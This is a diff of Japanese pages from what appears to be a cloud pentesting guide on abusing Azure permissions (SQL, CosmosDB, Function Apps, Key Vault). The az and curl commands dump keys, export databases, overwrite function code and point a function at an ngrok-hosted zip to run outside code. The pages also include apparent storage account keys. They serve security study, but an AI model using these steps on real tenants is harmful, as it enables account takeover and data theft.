この権限を持つことで、Azure上のPostgres Flexible Serverインスタンスの設定を更新できます。これにより、パフォーマンス調整、セキュリティ設定、または運用設定などのサーバーパラメータをカスタマイズできます。
{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group <resource_group_name> \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name <parameter_name> \
--value <parameter_value>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
この権限を持つことで、Azure上のPostgreSQL Flexible Serverインスタンスを停止できます。サーバーを停止すると、一時的なサービスの中断が発生し、データベースに依存するアプリケーションやユーザーに影響を与える可能性があります。
{% code overflow="wrap" %}
この権限を使用すると、Azure上のPostgreSQL Flexible Serverインスタンスを停止できます。サーバーを停止すると、一時的なサービスの中断が発生し、データベースに依存するアプリケーションやユーザーに影響を与える可能性があります。
```bash
az postgres flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations

View File

@@ -10,9 +10,9 @@ SQL Databaseに関する詳細情報は、以下を確認してください:
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新できます。このポストエクスプロイテーション活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新できます。このポストエクスプロイ活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
@@ -20,7 +20,7 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
これらの権限を持つ攻撃者は、侵害された環境内でelasticPoolsを作成および更新できます。このポストエクスプロイテーション活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
```bash
@@ -40,9 +40,9 @@ az sql elastic-pool update \
--dtu <new-dtu-value> \
--tags <key=value>
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や認可されたユーザーが監査構成を操作し、跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意: Blob Storageを使用してAzure SQL Serverの監査を有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。
この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や認可されたユーザーが監査構成を操作し、跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意: Blob Storageを使用してAzure SQL Serverの監査を有効にするには、監査ログを保存できるストレージアカウントを添付する必要があります。
```bash
az sql server audit-policy update \
--server <server_name> \
@@ -51,18 +51,18 @@ az sql server audit-policy update \
--storage-account <storage_account_name> \
--retention-days 7
```
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
この権限を持つことで、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用される可能性があります。
この権限を使用すると、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用できます。
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### "Microsoft.Sql/servers/databases/export/action"
### `Microsoft.Sql/servers/databases/export/action`
この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから敏感なデータをエクスポートして自分が管理する場所に持ち出すことができ、重大なデータ漏洩のリスクをもたらします。これを実行するには、ストレージキーを知っておくことが重要です。
この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから敏感なデータをエクスポートして自分が管理する場所に移すことで、重大なデータ漏洩のリスクを引き起こす可能性があります。これを実行するには、ストレージキーを知っておくことが重要です。
```bash
az sql db export \
--server <server_name> \
@@ -74,9 +74,9 @@ az sql db export \
--admin-password <admin_password>
```
### "Microsoft.Sql/servers/databases/import/action"
### `Microsoft.Sql/servers/databases/import/action`
この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込んだりすることができます。さらに、Azure内の自分のサーバーにインポートすることもできます。注意: サーバーは、Azureサービスリソースがサーバーにアクセスすることを許可する必要があります。
この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込んだりすることができます。さらに、Azure内の自分のサーバーにインポートすることもできます。注意: サーバーは、Azureサービスおよびリソースがサーバーにアクセスすることを許可する必要があります。
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
@@ -85,6 +85,6 @@ az sql db import --admin-user <admin-user> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,17 +3,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## CosmosDB Privesc
SQL Databaseに関する詳細情報は、以下を確認してください:
SQL Databaseに関する詳細情報は、以下を確認してください
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
この権限を持つことで、ユーザーにクエリを実行し、データベースに接続する権限を与えることで特権を昇格させることができます。まず、必要な権限とスコープを与えるロール定義が作成されます。
{% code overflow="wrap" %}
この権限を使用すると、ユーザーにクエリを実行し、データベースに接続する権限を与えることで特権を昇格させることができます。最初に、必要な権限とスコープを与えるロール定義が作成されます。
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
{% endcode %}
その後、定義の割り当てがユーザーに与えられます。その後、そのユーザーはDefaultAzureCredential()接続メソッドを使用してクエリを実行できます。
{% code overflow="wrap" %}
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
この権限を持つことで、Azure Cosmos DB アカウントのプライマリキーとセカンダリキーを取得できます。これらのキーはデータベースアカウントとそのリソースへの完全なアクセスを提供し、データの読み取り、書き込み、設定変更などのアクションを可能にします。
{% code overflow="wrap" %}
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -14,13 +14,13 @@
関数データを保存するストレージアカウント内のコンテナを読み取る権限があれば、**異なるコンテナ**(カスタムまたは事前定義された名前のもの)を見つけることができ、**関数によって実行されるコード**が含まれている可能性があります。
関数のコードがどこにあるかを見つけたら、それに対する書き込み権限があれば、関数に任意のコードを実行させ、関数に付随する管理されたアイデンティティの権を昇格させることができます。
関数のコードがどこにあるかを見つけたら、書き込み権限があれば、関数に任意のコードを実行させ、関数に付随する管理されたアイデンティティの権を昇格させることができます。
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING``WEBSITE_CONTENTSHARE`)
関数のコードは通常、ファイル共有内に保存されます。十分なアクセス権があれば、コードファイルを変更して**関数に任意のコードを読み込ませる**ことができ、関数に付随する管理されたアイデンティティの権を昇格させることができます。
関数のコードは通常、ファイル共有内に保存されます。十分なアクセス権があれば、コードファイルを変更して**関数に任意のコードを読み込ませる**ことができ、関数に付随する管理されたアイデンティティの権を昇格させることができます。
このデプロイメント方法は通常、**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** と **`WEBSITE_CONTENTSHARE`** の設定を構成します。これらは次のように取得できます&#x20;
このデプロイメント方法は通常、**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** と **`WEBSITE_CONTENTSHARE`** の設定を構成します。これらは次のように取得できます
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -29,9 +29,9 @@ az functionapp config appsettings list \
これらの設定には、Functionがコードにアクセスするために使用できる**Storage Account Key**が含まれます。
> [!CAUTION]
> ファイル共有に接続し**スクリプトを変更する**のに十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
> ファイル共有に接続し**スクリプトを変更する**のに十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
以下の例ではmacOSを使用してファイル共有に接続しますが、ファイル共有に関する詳細情報については、のページも確認することをお勧めします:
以下の例ではmacOSを使用してファイル共有に接続しますが、ファイル共有に関する詳細情報については、以下のページも確認することをお勧めします:
{{#ref}}
../az-services/az-file-shares.md
@@ -49,7 +49,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
関数アプリが使用しているストレージアカウントコンテナのフォルダ `function-releases` 内に **zipリリース** が見つかることも一般的です。このコンテナは **通常 `function-releases` と呼ばれます**
通常、このデプロイメント方法は次の場所 `WEBSITE_RUN_FROM_PACKAGE` 設定を行います:
通常、このデプロイメント方法は次の場所 `WEBSITE_RUN_FROM_PACKAGE` 設定を行います:
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -66,7 +66,7 @@ az functionapp config appsettings list \
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`および`WEBSITE_CONTENTSHARE`)
ストレージアカウント内の関数データを格納するコンテナを読み取る権限があれば、**`scm-releases`**コンテナを見つけることができます。そこには**Squashfsファイルシステムファイル形式**の最新リリースがあり、したがって関数のコードを読むことが可能です。
関数データを保存するストレージアカウント内のコンテナを読み取る権限があれば、**`scm-releases`**コンテナを見つけることができます。そこには**Squashfsファイルシステムファイル形式**の最新リリースがあり、したがって関数のコードを読むことが可能です。
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** に保存されている **master and functions keys** を見つけることも可能で、フォルダ **`<app-name>`** 内のJSONファイルの中にあります。
**マスターおよび関数キー**は、JSONファイルの中にある**`<app-name>`**フォルダー内のコンテナ**`azure-webjobs-secrets`**に保存されていることもあります。
> [!CAUTION]
> **zip拡張子のファイル**(実際には **`squashfs`**)にコードが含まれているブロブコンテナに接続するための十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
> **zip拡張子のファイル**(実際には**`squashfs`**)にコードが含まれているBlobコンテナに接続するための十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -116,7 +116,7 @@ az storage blob upload \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### Microsoft.Web/sites/host/listkeys/action
### `Microsoft.Web/sites/host/listkeys/action`
この権限は、指定された関数の関数キー、マスターキー、およびシステムキーをリストすることを許可しますが、ホストキーは含まれません。
```bash
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
### Microsoft.Web/sites/functions/listKeys/action
### `Microsoft.Web/sites/functions/listKeys/action`
この権限は、指定された関数のホストキーを取得することを許可します:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### Microsoft.Web/sites/host/functionKeys/write
### `Microsoft.Web/sites/host/functionKeys/write`
この権限は、指定された関数の関数キーを作成/更新することを許可します:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/host/masterKey/write
### `Microsoft.Web/sites/host/masterKey/write`
この権限は、指定された関数にマスターキーを作成/更新することを許可します:
```bash
@@ -164,28 +164,28 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
> [!CAUTION]
> このキーを使用すると、前述のようにソースコードにアクセスして変更することもできることを忘れないでください!
### Microsoft.Web/sites/host/systemKeys/write
### `Microsoft.Web/sites/host/systemKeys/write`
この権限は、指定された関数に対してシステム関数キーを作成/更新することを許可します。
この権限は、指定された関数にシステム関数キーを作成/更新することを許可します。
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/config/list/action
### `Microsoft.Web/sites/config/list/action`
この権限は、関数の設定を取得することを許可します。これらの構成の中には、**`AzureWebJobsStorage`** または **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** のデフォルト値を見つけることができるかもしれません。これには、**FULL権限で関数のBlobストレージにアクセスするためのアカウントキー**が含まれています。
この権限は、関数の設定を取得することを許可します。これらの設定の中には、**`AzureWebJobsStorage`** または **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** のデフォルト値を見つけることができるかもしれません。これには、**完全な権限で関数のブロブストレージにアクセスするためのアカウントキー**が含まれています。
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
さらに、この権限により、**SCM ユーザー名とパスワード**(有効な場合)を取得することもできます
さらに、この権限により、**SCM ユーザー名とパスワード**(有効な場合)を取得することもできます
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
これらの権限は、以前に見たように関数の設定値をリストすることに加えて、**これらの値を変更する**ことを可能にします。これは、これらの設定が関数内で実行されるコードの場所を示すため、便利です。&#x20;
これらの権限は、以前に見たように関数の設定値をリストすることに加えて、**これらの値を変更する**ことを可能にします。これは、これらの設定が関数内で実行されるコードの場所を示すため、便利です。
したがって、ウェブアプリケーション内で実行する新しいコードを含むURL zipファイルを指す設定の値**`WEBSITE_RUN_FROM_PACKAGE`**を設定することが可能です:
したがって、**`WEBSITE_RUN_FROM_PACKAGE`** 設定の値を、新しいコードを含むURL zipファイルを指すように設定することが可能です:
- 現在の設定を取得することから始めます。
```bash
@@ -203,9 +203,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- 関数を修正し、以前のパラメータを保持し、最後に **`WEBSITE_RUN_FROM_PACKAGE`** を追加して、コードを含む **zip** のURLを指すようにします。
- 関数を修正し、以前のパラメータを保持し、最後にコードを含む**zip**のURLを指す設定**`WEBSITE_RUN_FROM_PACKAGE`**を追加します。
以下は私の **設定の例であり、あなたの値に変更する必要があります**。最後に値 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` に注意してください。ここが私がアプリをホスティングしていた場所です。
以下は私の**設定の例で、あなたの値に変更する必要があります**。最後に値`"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`があり、ここがアプリをホスティングしていた場所です。
```bash
# Modify the function
az rest --method PUT \
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### Microsoft.Web/sites/hostruntime/vfs/write
### `Microsoft.Web/sites/hostruntime/vfs/write`
この権限を持つことで、**ウェブコンソールを通じてアプリケーションのコードを変更することが可能です**または次のAPIエンドポイントを通じて
この権限を持つ、**ウェブコンソールを通じてアプリケーションのコードを変更することが可能です**または次のAPIエンドポイントを通じて
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
この権限は、基本的に**基本認証資格情報**を含むすべての公開プロファイルをリストすることを許可します:
```bash
@@ -242,7 +242,7 @@ az functionapp deployment user set \
```
- **REDACTED**の資格情報
その資格情報が**REDACTED**である場合、それは**SCM基本認証オプションを有効にする必要がある**ためであり、そのためには2番目の権限`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)が必要です。
その資格情報が**REDACTED**である場合、それは**SCM基本認証オプションを有効にする必要があるため**であり、そのためには2番目の権限`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)が必要です。
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Method SCM**
次に、これらの**基本認証資格情報を使用して、あなたの関数アプリのSCM URLにアクセスし、env変数の値を取得できます:**
次に、これらの**基本認証資格情報を使用して、関数アプリのSCM URLにアクセスし、環境変数の値を取得できます:**
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -279,7 +279,7 @@ _Note that the **SCM username** is usually the char "$" followed by the name of
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
設定値には、関数アプリのデータを保存しているストレージアカウントの **AccountKey** が含まれており、そのストレージアカウントを制御できます。
設定値には、関数アプリのデータを保存しているストレージアカウントの**AccountKey**が含まれており、そのストレージアカウントを制御することができます。
- **Method FTP**
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_注意してください、**FTPユーザー名**は通常\<app-name>\\$\<app-name>の形式です。_
### Microsoft.Web/sites/publish/Action
[**ドキュメント**](https://github.com/projectkudu/kudu/wiki/REST-API#command)によると、この権限は**SCMサーバー内でコマンドを実行する**ことを許可し、アプリケーションのソースコードを変更するために使用される可能性があります。
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
### Microsoft.Web/sites/hostruntime/vfs/read
### `Microsoft.Web/sites/hostruntime/vfs/read`
この権限は、VFSを通じてアプリの**ソースコードを読み取る**ことを許可します:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### Microsoft.Web/sites/functions/token/action
### `Microsoft.Web/sites/functions/token/action`
この権限を使用すると、[**管理トークン**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)を取得でき、その後**マスターキー**を取得し関数のコードにアクセスし変更することができます。
この権限を使用すると、[**管理トークン**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)を取得でき、これを使用して**マスターキー**を取得し関数のコードにアクセスし変更することができます。
ただし、私の最近の確認ではトークンは返されなかったため、無効になっているか、もはや機能していない可能性がありますが、以下がその方法です:
```bash
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
この権限は、無効になっている可能性のある**関数を有効にする**(または無効にする)ことを許可します。
```bash
@@ -338,19 +329,19 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
次のURLで関数が有効か無効かを確認することも可能です括弧内の権限を使用して
次のURLで関数が有効か無効かを確認することも可能です括弧内の権限を使用
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
これらの権限があれば、**コンテナを実行するように構成された関数アプリによって実行されるコンテナを変更する**ことが可能です。これにより、攻撃者は悪意のあるazure関数コンテナアプリをdocker hubにアップロードし例えば、その関数を実行させることができます。
これらの権限を持つことで、**コンテナを実行するように設定された関数アプリによって実行されるコンテナを変更する**ことが可能です。これにより、攻撃者は悪意のある Azure 関数コンテナアプリを Docker Hub にアップロードし(例えば)、その関数を実行させることができます。
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
これらの権限があれば、**関数に新しいユーザー管理アイデンティティをアタッチする**ことが可能です。関数が侵害された場合、これにより任意のユーザー管理アイデンティティへの権限昇格が可能になります。
```bash
@@ -361,20 +352,20 @@ az functionapp identity assign \
```
### リモートデバッグ
実行中のAzure関数に接続してデバッグすることも可能です、[**ドキュメントで説明されているように**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。ただし、デフォルトでは、開発者が脆弱な構成を残さないように忘れた場合に備えて、Azureはこのオプションを2日後にオフにします。
実行中のAzure関数に接続してデバッグすることも可能です、[**ドキュメントで説明されているように**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。ただし、デフォルトでは、開発者が脆弱な構成を残さないように忘れた場合、Azureはこのオプションを2日後にオフにします。
デバッグが有効になっているかどうかをFunctionで確認することができます:
デバッグが有効になっているかどうかを確認するには、次のコマンドを使用します:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
`Microsoft.Web/sites/config/write` の権限を持っている場合、関数をデバッグモードに設定することも可能です(次のコマンドは `Microsoft.Web/sites/config/list/action``Microsoft.Web/sites/config/Read`および `Microsoft.Web/sites/Read` の権限も必要です)。
`Microsoft.Web/sites/config/write` の権限を持っている場合、関数をデバッグモードに設定することも可能です(次のコマンドは `Microsoft.Web/sites/config/list/action``Microsoft.Web/sites/config/Read` および `Microsoft.Web/sites/Read` の権限も必要です)。
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Change Github repo
Githubリポジトリを変更するために、以下のコマンドを実行しましたが、変更されたにもかかわらず、**新しいコードは読み込まれませんでした**おそらくGithub Actionがコードを更新することを期待しているためです。\
さらに、**マネージドIDのフェデレーテッドクレデンシャルが更新されていなかった**ため、新しいリポジトリを許可していないようです。これはあまり役に立たないようです。
Githubリポジトリを変更するために、以下のコマンドを実行しましたが、変更されたとしても、**新しいコードは読み込まれませんでした**おそらくGithub Actionがコードを更新することを期待しているためです。\
さらに、**マネージドIDのフェデレーテッドクレデンシャルが更新されていなかった**ため、新しいリポジトリを許可していないようです。したがって、これはあまり役に立たないようです。
```bash
# Remove current
az functionapp deployment source delete \

View File

@@ -10,7 +10,7 @@
../az-services/az-keyvault.md
{{#endref}}
### Microsoft.KeyVault/vaults/write
### `Microsoft.KeyVault/vaults/write`
この権限を持つ攻撃者は、キー ボールトのポリシーを変更することができます(キー ボールトは RBAC の代わりにアクセス ポリシーを使用している必要があります)。
```bash

View File

@@ -3,17 +3,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Logic Apps Privesc
SQL Databaseに関する詳細情報は、以下を確認してください
SQL Databaseに関する詳細情報はを確認してください:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
